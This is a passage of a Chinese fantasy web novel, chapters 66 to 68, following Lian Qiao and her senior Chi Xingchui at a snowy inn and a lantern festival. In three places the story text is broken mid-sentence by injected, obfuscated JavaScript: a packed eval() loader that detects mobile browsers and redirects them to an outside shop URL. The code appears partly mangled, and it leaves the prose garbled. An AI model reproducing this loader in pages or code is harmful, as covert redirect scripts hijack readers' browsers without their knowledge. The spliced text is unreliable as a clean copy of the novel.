这是山脚下一家小客栈,条件一般,风雪大,四面漏风,好在酒水很好,入口绵柔甘醇,回味无穷,连乔喝了两口酒,又往自己嘴里丢几颗花生米,“嘚吧嘚”嚼了。 喝完一壶后就感觉天旋地转。 原主的酒量也太差了,连乔十分无奈,喝完面前的烧酒后,又换成和迟星垂一样的茶盏,伸过去,让迟星垂给自己一杯。 迟星垂抬眸,虽然看上去不情愿,但还是替她满上。 将连乔的茶水推给他,壶里的茶水已经见底了。 迟星垂非常讲究,这茶是他自己带的,连茶壶和茶杯都是专用,如果不是用自己的,宁愿不喝。 茶杯是白瓷珐琅釉,精致小巧,倒上剔透的谷雨前千峰毛尖,连热气都晕着一股茶香。 连乔伸手,捏起一块山楂糕,“哎,师兄,他们有没有说什么时候到啊?” 迟星垂在挑炭,炭火“哔剥”一声响,火上的茶壶又开始翻滚,他提起茶壶给连乔空上的茶杯又续上一杯。 “元宝说成英轩和凌阿他们带着装镜魔的匣盒回去,同月怕误事,也没有拦着她,但是又怕是你躲在匣盒中,所以让杨无溟跟着他们。” “很谨慎,很符合我对同月的印象。” 连乔托着左边的腮,静静看他拨炭。 迟星垂的手指修长,骨节分明,指甲尖尖的,煮茶沏茶倒茶,整个过程看上去就是一种享受。 迟星垂又给连乔满上一杯,“鬼无牙门下剩下的几人在山上待了两天,发现找不到你,甚至都找不到陈灵玉,觉得你应该是想办法跑了,所以准备回冲虚学院,在学院堵你。” 连乔叹了口气。 行吧,躲不掉的就只能正面迎敌了。 迟星垂停下手,失笑道,“师妹,你这么坚强,还没打算离开冲虚学院呢?” “在我有完全自保的能力之前,我是不会走的。”连乔又摸出酒杯,给自己烫了一壶酒,满面忧愁,在考虑以后要不要随身携带默非上下学。 但是冲虚学院明令禁止无关者入学堂。 “师兄,你不能见死不救。”连乔的酒热完了,浅浅喝了一小杯,“我真出事了,你也受牵连。” 迟星垂:“……要不我送你去别的地方吧。” “不要吧?” “我又不能时时护着你,没准哪一天,一个没看住,你被人杀了,我可能也就跟着没命。”迟星垂看上去还很认真,“不如这样,我送你回子午谷,等到同家灭族,我再接你出来。” “宁愿站着死,不愿跪着亡。”连乔抬头看 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“这几日你出招结阵出剑破敌时候我都在,所有招数都看得清楚,知道你优势在哪里,也知道有哪些问题。”迟星垂道,“发现问题需要时间,但是写起来很快。” 连乔望着迟星垂的目光充满了崇拜,“师兄,我觉得你的身形越来越伟岸,越来越高大了,你就像茫茫黑夜中的引路星,照亮了我前行的路。” 迟星垂修长的手指抵在杯子上,差一点捏碎了。 他望天望地,望着四处漏风的墙,“外面应该又下雪了,我觉得有点冷。” 连乔翻完前三张,“这次我回剑宗后,就有一场入门大比,如果持续赢下来,就有机会拜入乾元剑宗。” 一旦入剑宗,就有门规,不可同门相斗,到时候在剑宗,至少能清静一段时间。 连乔望着迟星垂,目光虔诚,“星垂师兄,不知道你可有收徒的打算,到时候我拜入你门下如何?” 迟星垂:“咳咳咳咳咳……” 有时候他真的搞不清连乔的脑回路,她怎么能做他的徒弟? 一想到连乔成为他的徒弟,给他捅一堆篓子的场景……嗯,还是让师父来收拾残局吧,虽然师父很忙,肯定不会收拾烂摊子,但是他有时间,他能帮师父照顾师妹。 不知道为何,在连乔说想要成为他徒弟时,迟星垂有种难以言说的抗拒感。 连乔翻着迟星垂的笔记,外面下着雪,北风呼呼地刮,偶有一两片雪飘进来,遇到温暖的热气,又落在地上,慢慢地化成晶莹剔透的小水珠。 通讯符燃起,连乔打开,传来敖周的声音。 连乔急忙问,“好几天过去了,情况怎么样了?” 那一端的敖周像是精疲力尽,他停顿了一下,连乔更是心惊胆战,“死了啊?” 66.第 66 章 敖周:“……大白天的你为什么要咒人家死?我是看他醒了,让他自己跟你说话。” 那一端又传来温柔的安静的声音,“没有,连乔姑娘,我很好。” 一听这甜甜的温柔的声音,连乔眼前就浮现山影那带梨涡的笑脸,她也眯起眼,“啊,没事呀,没事就好呀。” 迟星垂安静拨炭,突然一用力,炭火满天飞,浓烟阵阵,连乔呛得咳嗽,“咳咳咳咳咳……” 她吸了吸鼻子,“那你呢,敖周你在渡化魔气,你还好吗?” “还行,问题不大。”敖周又问,“对了,陈灵玉那边怎么样了,她现在应该熟悉怎么控制桐花岭了吧?” 山间有灵,没有山神坐镇,就很容易发生各类灾祸,可能是天灾,比如地震、滑坡,也可能是人祸,比如山间精怪不受制约,开始出山为祸人间。 陈灵玉是个细心且有能力的人,山影不在的这段时间,她将一切打理得井井有条。 连乔打开窗,寒风刮进来,卷走了翻卷的浓烟,她支起腮,“那你们什么时候回来?” “山影的魔气有一半渡到我身上,我在消化,他也在消化,如果快的话,大概需要十天。”敖周道,“但是慢得话,可能要一个月,三个月也有可能。” 毕竟这家伙太能忍了,吃的魔物也太多了。 “魔气需要清除干净,确保一定要连根拔除。”迟星垂沏完茶后擦了擦手,叮嘱道,“哪怕只剩一缕,一旦潜伏在身体内,就有可能会在某一天后突然复发。” 清除魔气是个费事又费力的过程,没有足够的心性和忍耐力,就会让魔气有潜藏的可乘之机。 毕竟,是否能清除,是一个未知数,很多情况下不仅没有清除成功,还会为后来埋下隐患。 所以,乾元剑宗在遇到被魔物沾染的人,一律格杀。 山影有自净能力,但他体内的魔物太多了,被乾元剑宗发现,只有死路一条。 桐花岭地处偏远,不知道何时才能有另一个山神出现,陈灵玉心地善良,她不忍看到桐花岭这一片出现天灾人祸,所以一边帮山影净化魔气,一边拖延时间。 如果迟星垂没有猜错,上辈子陈灵玉计划净化失败,山影不甘心被镜魔控制,选择释放神识引来渡劫天雷,在天雷的加持下和镜魔同归于尽。 这也就解释了为何镜魔这样的大魔,后来没有任何任何关于他作乱的消息。 他死在那一场动乱中。 连乔道:“山影可以通过渡走魔气来减轻自身的痛苦,如果我们多几个人同时将魔气分走,是不是净化的时间会缩短?” “你想什么呢?”敖周道,“你以为魔气随便就能净化吗,多得是被污染了,反被魔气控制身体,成为行尸走肉的情况。” “老子是因为马上要渡劫化龙,有一半神兽之力,所以才有这个能力。”敖周从鼻子里冷哼一声,“不然你以为谁都可以吗?” 是这样吗? “但是山影之前想将魔气渡化给我。”连乔转过身来,靠在窗前,“如果是其他人很容易失控,那为什么山影要选择将魔气给我?” 是看出来她心性坚定,不容易走火入魔? “还能是什么?” 敖周坐起来换了个姿势,不管想要阻止他说下去的山影,“因为你恶毒啊,山影说之前看你头上冒黑气,身上业障多,骄奢淫逸全有,嗔痴癫妄一个不落,他看出来你是个十恶不赦的混蛋,他不忍心将魔气渡给别人,只能渡给你啊……” 山影沉默了,他十分尴尬,动了动嘴唇,也不知道该说什么缓解气氛。 同样沉默的还有那端的连乔。 等连乔直接损毁了通讯符后,敖周才后知后觉,他有些迟疑,“我……是不是说错话了?” 山影点点头。 损毁了通讯符的连乔瘫坐在椅子上,越想越气,“我冒黑气?我业障多?我骄奢淫逸?” 她一拍桌子,问对面的人,“迟星垂,我是这样的人吗?你笑什么……你别笑。” 迟星垂摇头,“我没有笑。” “我看到你手都停了,你是不是憋着?”连乔深呼吸一口气,“亏我见他长得……咳咳,亏我如此善良这么帮他,他居然这样评价我?” 迟星垂摇头,“不,你没有。” 连乔:“真的?” “嗯。”迟星垂继续挑炭,这次好像心情不错,炭也没有起烟,“你聪明,坚强,有胆识,有魄力,当然不是他说的那样。” 迟星垂没想到,自己有一天夸起人来,也可以这么睁着眼说瞎话。 也没有全是假话,有一部分是实话。 连乔确实聪慧勇敢,虽然也有些小毛病,但是谁没有毛病,无伤大雅的小事罢了。 连乔道:“星垂师兄,你真是一个好人。” 迟星垂:“……我知道。” 连乔捂着脸,觉得自己的心灵受到了伤害,“师兄,你这么好,长得又如此好看,我一定要努力入乾元剑宗,和你一样厉害,不给你丢人。” 可能是听到一些好话,迟星垂的心情莫名地好,“好的师妹,加油。” 连乔捏住拳头,给自己比了个加油的手势,又伸出拳头,要和迟星垂碰拳。 迟星垂迟疑了一下,最后还是伸手,和她轻轻碰了碰。 “啊呀着了着了……”连乔赶紧收回手,她穿着宽大的广袖裙,伸手的时候袖子拖到炭火里。 好在这件法衣能防火,虽然碰到猩红的炭,但没有被烧坏。 连乔拍了拍袖子,举着桌子上的烧酒一饮而尽,喝完后觉得头晕晕的。 “师兄我先回去了。”她摆摆手,起身摇摇晃晃往回走,显然是喝多了。 唉,明明这个身体一点也不能喝酒,却总是忘记。 连乔扶着墙,摇摇晃晃,迟星垂怕她出事,起身跟在她后面,送她回去。 连乔的肩膀一耸一耸的,迟星垂顿住,以为她哭了,等她抬起头,他才发现,她只是抽鼻子。 “师兄……”连乔擦了擦不存在的眼泪,“我心里难受,原来他选我不是觉得我有趣。” 迟星垂点头,“是的,他选你做新娘,不是因为喜欢你。” 末了他又补充一句,“他只是想利用你。” 连乔顿住了,看上去很受伤,“他不仅利用我,还编排我。” 她捂着脸,哭不出来,只是做了个哭的表情,“看着他如此温润,没想到能说出这么恶毒的话。” 迟星垂压了压嘴角,“是的,他不是什么好人,你还是不要对他抱有期待。” 连乔又道,“师兄……” 连乔凑近了,她的脸在他面前无限放大,迟星垂能闻到她的发香。 她呼出的热气在冷风里凝结出来,落雪落在她长长的睫毛上,又慢慢化掉,像结了两颗露珠。 她勾手指,“师兄,我跟你说个秘密。” “我其实是个好人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598401|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟星垂:“……” 他能指望连乔嘴里说出什么正经话? 迟星垂捏了捏眉头,望着头顶上纷纷扬扬的雪。马上要入春了,这是这个冬天最后一场雪了吧。 他扶住连乔,“你喝多了,我送你回去。” “对我喝多了。”连乔承认。她酒品很好,喝多了并不闹,比较安静,说话也清晰,“但是喝多了我也要说,其实我本质不坏,不知道你有没有看出来。” 迟星垂带着她往前走,“……我看出来了,你很好,不用为无关之人的评价而烦心。” “你说得对师兄。”连乔也望着天上的雪,目光放空,又叹了一口气,“人心不复,太没意思了,今后我便修道封心,再也不动情了,人间不值得。” 迟星垂捏了捏眉头,“嗯,其实,大可不必。” * 连乔再次陷入沉睡,但大脑却在不停运转,能清楚感受到自己的意识存在,但身体却不受控制。 修为又在偷偷增长,如果不是在人间,应该就可以慢慢地引气入体,再迎雷劫。 “叮”一声,识海中又想起一阵女音,不过不同于之前机械式的声音,现在的系统居然还有一点情绪起伏。 “宿主,宿主~” 连乔翻了一个身,“不是说我有所突破你才能出现么,我现在还没突破,你续航好了?” 系统像是做了一个挠脑袋的动作,“宿主,公司给我们系统升级了,配备了备用电源,所以现在不会出现因为电量耗尽而休眠的情况。” “这么说,你可以一直跟在我身边,为我出谋划策?” “是的宿主,你可以这样认为。” 连乔道:“正好,我前几日得罪了乾元剑宗的同月,她现在满世界找我,要杀我,你给我出个招。” 忽然万籁俱寂,安静得能够听到自己的呼吸声。 “系统?” “系统?” “人呢?” 不是说能长时间上线吗,什么破玩意儿? 这次看来不是续航问题,是系统它自己太弱,她听到自己惹了祸事后,立刻锁在壳子里,成了缩头乌龟。 罢了,靠人不如靠己,她也从来没把希望寄托在一个小小的系统上面。 不过,有些事还是要弄清楚的。 “还在吗?问你个事?” 号称自己不断电不会再下线的系统继续装死,连乔又道,“不让你收拾烂摊子,就是有点事想问问。” “什么问题?” 连乔实在无力吐槽,她放松意识,“白日的事你知道吧?” “是山影为何选你做新娘吗?”系统说话很慢,语调平稳,非常人机,“是的宿主,我知道了。” “那这里有一个问题。”连乔道,“山影抓我做新娘,因为他认为我坏事做尽且脾性恶劣,他用我渡魔气让我去死,就不会牵连善良的人,会让他心里好受一些。” “且不说我到底是不是这种人,原主确实手里沾过不干净的东西,所以他才能看得出来。”连乔接着道,“那原书呢,原书是怎么回事?” “原书里说山影在人群中一眼就看中了云招摇,所以妄图将她强行留在桐花岭,让她成为自己的新娘。” “不是说云招摇是温柔美丽善良的好女主么?”连乔步步逼近,“她善良温柔,山影为什么还要抓她?” “她也跟我一样,头上冒黑气,身上业障多吗?” “说话。” 67.第 67 章 系统卡顿一下,说话又开始“啊啊啊啊这这这……”起来,连乔斜着嘴唇,“别跟我说你运行不顺畅,现在又要休眠了?” 系统似乎害羞一笑,“恭喜,你……猜对了。” 连乔问:“你咋不报废呢?” “我们公司开源节流,我这种的还算是比较新的系统,你没见过闹更大问题的呢。” 连乔道,“我想换一个更大问题的系统。” “目前不能。”系统的卡顿又好了,一开始态度坚硬,又慢慢温和,“我们人手不够,除非给你切号重来,否则就只能由我021继续为您提供服务,直到您完成目标为止。” “目标?”连乔“呵呵”一笑,“我的目标是不要惹怒迟星垂,避开最后万箭穿心吗?” “不止这些,你还要找到迟星垂坠魔的原因,找到子午谷莫名被魔气洇染的前因后果。” 原书里不是说是原主连翘对迟来风因爱生恨,所以引魔入内,原本想利用魔族牵制住大妖王,打云招摇一个措手不及,但没想到引来了迟星垂。 到最后原主偷鸡不成蚀把米,不仅没有得偿所愿,还把自己赔了进去。 现在她已经和迟星垂处成了兄弟,迟星垂还夸她勇敢善良,就算他日后黑化了,也不会跟上辈子一样,对她怨恨至极,甚至要将她万箭穿心。 “我已经避免让迟星垂生出心魔,所以迟星垂不会报复我,也不会引来魔物踏平子午谷,我算是完成目标了吧?” “是不是完成了,得到结局才知晓。”021恢复冰冷的声音,“至于你是否能完成目标,关乎你的性命安危。” “呵呵。”连乔冷笑,“别这么威胁我,在这里威胁我的人多了去了,你排个队。” “不是我威胁你宿主,这里确实危险,连许多规则我都搞不清。” 连乔忽然道,“所以方才你卡顿,是因为你也不清楚为什么云招摇的人设和原著里对不上。” 系统沉默了一下,“……是啊。” “也有一种可能,宿主。”系统又道,“有可能是因为小说逻辑不通,看到的都是表象,更深层次的需要你自己挖掘。” “你这说了等于没说。” 系统慢慢汇成一个人形光点,悬浮在连乔面前,它摊手,摆了个无能为力的手势。 连乔若有所思。 过了一会儿,连乔觉得酒意退了一点,身体也能动,她翻了个身,接过话来,“表象,表象也要基于事实吧,是从谁的角度来看的表象,基于哪里的事实?” “应该是原书作者吧。”系统道,“宿主,你聪明貌美,想必后面的困难都难不倒你,加油找到疑团哦。” 连乔:“呵呵。” 她皮笑肉不笑,光点有些紧张地缩了缩脖子。 虽然连乔看上去是个癫子,向来做事也不着调,想一出是一出,但是这种平时笑嘻嘻的人在看着你不说话的时候,十分有压迫感,系统觉得自己话都说不利索了。 它索性又潜水,装死。 反正从开始到现在,已经装死很多次了。 系统美美隐身,连乔活动活动脖子。躺了很久,身体上的不适慢慢散去,被系统这么一气,酒也醒了大半。 口干舌燥得厉害,她刚想起身倒杯茶降噪去火,听到“吱呀”一声,门开了。 后半夜风雪已经停了,不知道什么时候月光穿破云层,映照在积雪上,窗外夜色如水澄澈。 “磕磕……”门突然响起。这么晚了能是谁,这几日神经一直处于高度紧绷状态,连乔长了个心眼,怕是谁来寻仇,没有应。 手已经塞到枕头下,抓住一把匕首。 见没有回应,门又“吱呀”一声打开,一个白影披着寒气进来,后面跟着另一个黑影。 连乔立刻闭上眼,收回手,恢复平静睡觉的模样,整个装睡动作如同行云流水。 迟星垂看到连乔睡着了,睡得还算安稳,也没打算打扰她。 吴息看到躺在床上的连乔,压低了声音道,“主子,连乔姑娘的脸虽然伤得太严重,但是还不危急生命,不过要是再拖下去,可能会有毁容的风险……” 而且在这人间,灵气稀薄,几乎不可能找到特制药来解她脸上的魔毒。 连乔原本是打算等默非过来帮她解毒,但是现在她一下子从桐花岭移到人间某个不知名的小城里,默非路上又要耽搁几天。 迟星垂从空间中取出一包药粉,又取出一颗金色的丹药,混在一起用研钵碾碎。 “主子,这颗镇金丹您只有两颗,随身携带了许多年,是用来以防外一的。”吴息看着床上睡得四仰八叉的连乔,有些迟疑,“虽然她的伤棘手,但……这金丹用来解魔毒,未免小题大做了。” 迟星垂磨好药,帮连乔将脸上的纱布揭开,将药粉贴上去。 脸上的灼伤感瞬间褪去,转而变成冰冰凉凉的触感,她轻轻眯了一下眼,迟星垂的动作更轻了一些。 修长的手指将旧纱布揭去,换上新的药。 “她脸上的伤已经到了七天,如果不及时处理,即使后来默非有能力治伤,也很可能恢复不到原来的状态。” 吴息心想,那和您有什么关系,以前您从来不会管旁人的闲事。 他怪异地望着迟星垂。 迟星垂看上去很讨厌这个话多且满嘴谎言的姑娘,一直让他跟着她,但是现在看上去,好像又挺关心她的。 迟星垂注意到吴息的目光,“我不想让她在我手上出事。” 他没有多解释,这种情况,越解释越乱。 吴息点头,原来如此。 他就说么,他怎么会误会呢,他的这位小主子向来洁身自好不近女色,又怎么会对这样一个丫头不同呢? 虽然这个姑娘漂亮勇敢,确实挺招人喜爱的。 * 隔几日,连乔又接到了敖周的传信,敖周说山影恢复得很快,再有十日应该就能完全将体内魔气驱散,届时便能重新回桐花岭。 连乔异常高冷,表示:知道了。 敖周一顿,他望向对面腼腆而又欲言又止的少年,迟疑了一下问连乔,“你没有什么想要和他说的吗?” 连乔摇头:“没有。” 山影像是要说什么,但是没等他开口,连乔已经断了通讯符。 少年看上去有些沮丧,敖周拍拍他的肩膀,“不用难过的兄弟。” “可是……”山影低下头,心中还是抱有歉意,“可是我觉得我应该和连乔姑娘解释一下。” 虽然那时候看着她头顶黑气浑身业障,但是又看不真切,半模糊半清醒的,现在看上去则是清楚了,她身上的霉运、业障、情债、荒唐事都已经散了许多,她整个人清澈干净。 他想告诉她,她是个很好的人,是他的问题,是他看错了。 不过看上去,连乔姑娘不想理他了。 而且对他还抱有恨意。 山影心中生出一股酸涩,有些感情,还没有正式开始,就已经被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607246|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方扼杀了。 敖周拍拍他的肩膀,“没关系的,天涯何处无芳草嘛,又不止你一个人被拒绝过,不用太难过。” 山影望着敖周,白皙的脸上生出震惊,“啊?” 敖周心想,他也想抱连乔大腿啊,连乔漂亮又有性格,还特别有钱,要是能和连乔在一起,那可以风流潇洒很久。 但是可惜连乔不喜欢他。 敖周觉得连乔人还行,就是没什么眼光。 山影垂着眼,长睫扑闪,像鸦羽一般,“敖周兄,你知道连乔喜欢什么吗?或者是有什么愿望?” 敖周:“……那丫头什么也不缺吧?你想做什么?” “我的天劫可能要到,如果哪一天渡劫成功,也有能力去保一个人的愿望,我希望能够帮她完成一些心愿。” 敖周大惊,“山影兄,你可知道你在说什么?” “你若是渡劫成功,便是成神,有神籍,你可知道你的一诺有多值钱多重要?” 而且他说的不是帮她实现一件事,是一些。 “我知道。”山影望着远处的天叹了一口气,想起在桐花岭时,连乔教其他人唱戏演戏的模样。 女子明明害怕胆怯,却极力克服本能,一直在帮其他人。 但是他却说了一些不该说的话让她伤心。 山影道:“是我对不起她在先,往后她要是有什么要帮忙的,我自然不会拒绝。” 这几日连乔开启度假生活,小城的雪融化了,天气回暖,远处山峰也慢慢穿上青衣,举目一片生机。 她和迟星垂本来准备离开,但是正巧碰到夜灯节,听说灯节热闹,就邀请迟星垂留下来。 反正历练限定的日期还没到,不如在这里逛逛,她来修真界这么久,还没有来过人间,更没有见过人间的繁华。 这个小城便是桐花岭之外,沿着河流往下的第一个城镇,规模不大,但是麻雀虽小五脏俱全,沿河而建,十分规整且整洁。 夜灯节一年一度,在冬末春初冰雪消融时分,乍暖还寒,河边街上两岸都挂满了各种形状的灯笼。 灯笼有卖的,也有猜灯谜赠送的,还有自己动手做的。 连乔身为一个现代人,从来没有见过这么精致的手工灯,一到街上就对一切充满了好奇,看到放着画纸和竹条的地摊,也想试试。 转过头问迟星垂会不会糊灯笼,迟星垂说不会,连乔道,“我会。” 望着连乔四体不勤的模样,迟星垂迟疑一下,“你……确定?” 连乔示意迟星垂付钱,她蹲下来选了一个小狗形状的灯笼,先照着地摊老板的手法,往里面插了一根蜡烛。 正在编灯笼的老板看着生猛的手法,一言难尽,“姑娘哎,你灯笼插反了哦,你这子怎么点灯呢,等会儿点了灯就把底烧着了嗦……” 连乔把插好的蜡烛扯下来,又反过去往上一插,那生猛的手法看得老板心神一震,“不是哎姑娘,蜡烛要正,你这样会烧到灯笼的边边啊,会把灯笼烧坏的……” 连乔又把蜡烛扶正,“咔”,蜡烛断了。 连乔:“……你这东西质量不行。” “你这姑娘看着细手细脚的,蜡烛被你掰断了还要怪我东西不好。” 那老板怕连乔把灯笼框架也折坏了,他往连乔身后看,“小娘子怎的力气恁大哦,你还是让你夫君来吧,你别又把我东西搞坏了赖我哦。” “?”连乔缓缓转过头,看着十指不沾阳春水的迟大公子,“他?” 68.第 68 章 连乔觉得自己完不成的东西,迟星垂这种少爷更不会,好胜心作祟让她只听到后半句让迟星垂来,没注意到老板的称呼。 迟星垂倒是听到了,他愣了一下,连乔道,“不行的,他更不会。” 刚说着,连乔使劲往灯笼里面塞另一只蜡烛,放好蜡烛后可以糊花纸,结果这次力气太大,将灯笼的竹条也扯断了。 看得卖灯笼的老板心一惊,他望着连乔身后的迟星垂,目光充满了怜悯,像是在说,兄弟,你平日里辛苦了。 迟星垂:…… 连乔身上有狐族血脉,虽然收敛了灵力,但是力气确实要比普通凡人大。 在她接连弄坏了三个灯笼架子后,迟星垂实在看不下去了,他俯下身蹲在连乔身边,接过第四个灯笼,“我试试吧。” 连乔将灯笼递给他。 手制灯笼的框架已经编好,但是可以选择自己想要的颜色和花色,迟星垂将蜡烛穿进去,又将竹条串好,问连乔喜欢什么颜色。 连乔想也不想,“要白色的。” 迟星垂替她将白纸糊上去,点上蜡烛,串上灯笼杆。 “哇~”连乔接过灯笼,眼睛都笑弯了,“师兄,你也太厉害了吧,这么精细的工作你也能做得这么好!” 精细么? 有没有一种可能,是你太粗鲁了。 连乔举着灯笼给迟星垂看,“师兄,你看这灯笼像不像三面狐。” “不像。”迟星垂诚实道,“这是狗。” 连乔道,“我知道啊,老板那里没有狐狸。” “这已经是最像三面狐的一个了。”连乔抬灯沉思,忽然指了指小狗灯的嘴,“不对,还差一点。” 连乔从老板那里借了一支笔,蘸了一点红色的颜料,给小狗灯画了一个舌头,举着灯给迟星垂看,“三面狐和小白狗一样喜欢吐舌头,你看,这样就更像了对不对?” 连乔举着灯,又看到一群人围在一起,她探过头去看,是在猜灯谜。 有猜动物的,猜对了送一只花灯,也有字谜,还有猜植物的。 点灯的小姑娘看到连乔和迟星垂,笑着和两个人打招呼,“二位是来猜灯谜的吗?” 为了避人耳目,连乔和迟星垂都简单易容,也换上了人间的普通衣服,但是两人气质非凡,仍旧十分惹眼,站在一起,男子俊女子美,实乃一对璧人。 桐花岭这一片民风淳朴,如此良辰美景,才子佳人相会的也有不少,点灯女招揽连乔,“姑娘,猜对了可以送一个花灯哦。” 连乔看了几个谜语,可惜,一个也不会。 “姑娘不会,公子可以帮忙一起猜哦。”点灯女举着两只格外别致的花灯,一只蝴蝶灯,一只莲花灯,“公子猜对了,可以将莲花灯送给心上人,在桐花岭爱人可以一起举莲花灯,寓意纯洁的爱意和炙热的爱情。” 连乔和迟星垂都没说话,两个人都因为对方的误会有些尴尬,但点灯女不是这么想,她以为两位刚在一起所以害羞,亲昵地拉着连乔,“姑娘,你猜吧,我这里有个简单一些的,你猜对了我送你一个灯。” 点灯女年纪不大,十七八岁模样,说起话来甜甜地,她挑出一盏灯,灯下面缀着一张纸片,照着纸片将谜语念出来,“有头无颈,有眼无眉,无脚能行千里,有翅难过山岭。” 连乔:“……” 点灯的小姑娘双手抱起来,做了个游走的动作,提醒连乔。 连乔:“蛇?” 点灯女:“……啊呀,蛇是有头无颈,有眼无眉,但是蛇也没有翅膀呀,不对不对,你再猜……” 她眼睛转了一圈,又瞥向河边,就差把答案告诉连乔了。 连乔想不到,身后的迟星垂道,“游鱼。” “公子答对啦,来,莲花灯送给你们。”点灯女踮起脚将最上面的莲花灯取下来,“祝两位情比金坚地久天长。” 迟星垂咳嗽一声缓解尴尬,连乔望着面前的莲花灯,“我不要这个,能换一个吗?” 点灯女“啊”了一声,连乔道,“你误会了,我们不是那种关系。” 说完她转过头,对着迟星垂喊,“哥,你说话啊哥。” 迟星垂:“……” 点灯女也笑了,“不好意思呀两位。” 最终连乔选了一个小鱼灯,她举着鱼灯跟在迟星垂后面,“哥哥,你看我这鱼灯好看吗?” 迟星垂:“不好看。” “哥哥,这个鱼灯不好看,那个兔子灯好看,我还想要那个兔子灯,哥哥可以给我买吗?” 迟星垂捏了捏眉头,身后的连乔还在故意膈应他,他越是抗拒,她嘴里越是甜甜地“哥哥哥哥”地喊。 迟星垂忍无可忍了,他停下脚,忽然转过头,脸上挂上笑容,“可以的,妹妹。” 连乔捂着嘴,小小地尖叫一声,“迟星垂,你被夺舍了?!” 她拔腿就跑,“有鬼啊,冰雕脸的迟星垂被鬼上身了……” 迟星垂一把耗住掉头就跑的连乔,捏住她的后脖,“妹妹,你仔细看看,除了兔子灯你还想要什么花灯,哥哥一起替你买了。” 连乔求饶,“我错了,我错了星垂师兄,我嘴欠,我膈应人,我再也不敢了。” 迟星垂放开她。 两个人跨过河里的小桥到对面,连乔一手举着一只小狗灯,另一只手举着兔子灯,迟星垂替她拿着鱼灯,连乔忽然道,“其实我还想再要一个,我方才看到猜字谜的姑娘那里有狐狸灯,我想再要一个真的狐狸灯。” 不过奇怪的是,点灯女刚刚还在,他们过了桥再往对面看,人就不见了。 但是猜灯谜的摊子还在。 真是奇怪。 桐花岭的长街绕水而建,不长,走完一圈再回来只要一炷香时间。 等连乔和迟星垂走完一圈,吃了些东西,再绕道河边放莲花灯。 这个莲花灯和手提的莲花灯不一样,不只是单纯寓意爱情,还代表着祝福和祈愿,这和她那个世界的习俗很像。 连乔取了一个花灯,卖花灯的老板说往花灯上写上自己挂念的人,无论对方在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623858|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里处于什么样的难处,都能得到河神的祝福。 挂念的人? 三面狐,默非,南道,白花惊…… 迟星垂一转头就看到连乔在莲花灯的每一瓣上都写了人名,莲花灯有十二片花瓣,每一个花瓣都有人。 连乔的手上沾了一点墨水,她擦了一下脸,墨水又糊到脸上,脏得像一只小花猫。 写完后还剩几个花瓣空着,连乔继续往上面补自己的名字。 迟星垂:“你真是一点也不浪费。” “当然啊,老板说写上就能得到祝福,又没说能写多少个。”连乔道,“这些都是我心里的人,当然都要写上,花灯是我们花钱买的,要最大化利用。” 连乔写完了,发现还空了一瓣,她望了一眼旁边的人,勉为其难将他也写了上去。 迟星垂望着最后添上的自己的名字,“你心里的人挺多啊,跟像这莲花一样,每个花瓣上都挂着人。” 连乔把花瓣捂住,“别看我的,你没有吗?” 她伸头一看,迟星垂的花灯上空空如也,什么也没写,什么也没化。 哦对,迟星垂是这样的人,从不将期待和愿望寄托在别人身上。 他不信仰别人,最相信自己。 连乔伸手抓住他的莲花,“你不写就不写,不要浪费了买灯的钱。” 她在迟星垂的花上写了大大的“连”字,乔字写了一瞥又转笔,最后写成“连翘”。 迟星垂看着连乔的背影,看她将写有自己大大名字的花灯和写得密密麻麻的花灯同时放进水里,又推一把送走,生出一种荒诞的不真切的感觉来。 一直乏味枯燥的生活,好像也没那么无聊。 再回到街上,整条街的人也散了很多,只余下稀稀疏疏的几人。 连乔仍旧没有等到那个卖狐狸灯的点灯女。 “好奇怪,就算是收摊离开了,东西也要带走吧。”连乔将狐狸灯取下来看,这狐狸灯做得很精致,狐狸的眼角往上翘,睫毛很长,四肢有力,爪子锋利。 要不把灯带走,把买灯的钱留下来? 连乔又怕有别的人将钱拿走,放心不下,索性和迟星垂坐在这里等。 一直到夜深,街上人空了,也没有再见到那个说话温柔笑起来甜甜的姑娘。 远处的灯也一盏接着一盏熄灭,很快河道两侧的灯也燃尽,小城的灯节已经结束了,偌大的长街只剩下小姑娘这一个摊子还有灯,亮着孤寂的光。 忽然,空气中浮出一股极其淡的怪异的香味,一闪而过。 连乔嗅觉异常灵敏,她发现,这味道和在进山神庙戏楼前的香味很像。 她眯眼,立刻生出戒备之心,紧接着被迟星垂拉住,两个人身形一闪,藏到拱桥的阴影里。 那香味很快就散了,周围除了几个晚归的收摊子回家的人,没有其他任何人。 